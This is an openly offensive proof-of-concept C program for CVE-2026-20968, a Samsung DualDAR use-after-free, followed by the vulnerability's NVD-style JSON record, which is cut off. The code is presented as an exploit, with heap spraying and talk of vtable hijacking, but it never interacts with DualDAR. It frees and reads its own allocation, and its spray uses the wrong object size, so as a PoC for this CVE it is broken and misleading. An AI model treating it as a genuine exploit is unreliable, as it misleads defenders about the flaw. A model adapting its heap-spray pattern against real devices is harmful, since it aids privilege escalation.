CVE-2026-20968

// CVE-2026-20968 PoC - Use After Free in Samsung DualDAR // This is a conceptual PoC for demonstrating the vulnerability // Note: Actual exploitation requires specific device configuration and privilege level #include <stdio.h> #include <stdlib.h> #include <string.h> /* * Samsung DualDAR Use After Free Vulnerability * * Vulnerability: DualDAR component fails to properly validate memory * after it has been freed, allowing re-use of freed memory. * * Attack Vector: Local privileged access required * Impact: Arbitrary code execution with elevated privileges * * Note: This PoC is for educational purposes only. * Actual exploitation requires device-specific knowledge. */ #define DUALDAR_OBJECT_SIZE 0x100 #define HEAP_SPRAY_COUNT 100 typedef struct { void* vtable; char data[DUALDAR_OBJECT_SIZE]; } DualDARObject; typedef void (*CallbackFunc)(void*); void trigger_vulnerability() { // Allocate initial DualDAR object DualDARObject* obj = (DualDARObject*)malloc(sizeof(DualDARObject)); if (!obj) { printf("[-] Memory allocation failed\n"); return; } memset(obj->data, 0x41, DUALDAR_OBJECT_SIZE); printf("[+] Allocated DualDAR object at %p\n", obj); // Free the object - vulnerability trigger point free(obj); printf("[!] Object freed - UAF condition exists\n"); // Heap spraying to control freed memory for (int i = 0; i < HEAP_SPRAY_COUNT; i++) { void* spray = malloc(sizeof(CallbackFunc)); if (spray) { // Overwrite with controlled values memset(spray, 0x42, sizeof(CallbackFunc)); } } printf("[+] Heap spray completed\n"); // Use after free - access freed memory // In real exploit, this would trigger code execution printf("[!] Accessing freed object at %p\n", obj); printf("[+] Data at freed location: %02x %02x %02x...\n", obj->data[0], obj->data[1], obj->data[2]); // At this point, if exploitation is successful: // - vtable pointer could be controlled // - arbitrary code execution could be achieved printf("[+] UAF vulnerability demonstrated\n"); } int main() { printf("===========================================\n"); printf("CVE-2026-20968 PoC - Samsung DualDAR UAF\n"); printf("===========================================\n"); printf("Target: Samsung DualDAR < SMR Jan-2026 Release 1\n"); printf("Severity: Medium (CVSS 6.7)\n"); printf("===========================================\n\n"); trigger_vulnerability(); printf("\n[!] Note: This is a simplified demonstration.\n"); printf("[!] Real exploitation requires:\n"); printf("[!] - Local privileged access\n"); printf("[!] - Device-specific memory layout knowledge\n"); printf("[!] - Specific trigger conditions\n"); return 0; }

{"cve": {"id": "CVE-2026-20968", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:03.107", "lastModified": "2026-01-15T19:25:07.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in DualDAR prior to SMR Jan-2026 Release 1 allows local privileged attackers to execute arbitrary code."}, {"lang": "es", "value": "Uso después de liberar en DualDAR antes de SMR Ene-2026 Release 1 permite a atacantes locales privilegiados ejecutar código arbitrario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "BB730563-7C35-4384-89BD-6EE0C5C6126B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "61D507C0-086B-4139-A560-126964DFA579"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android ... 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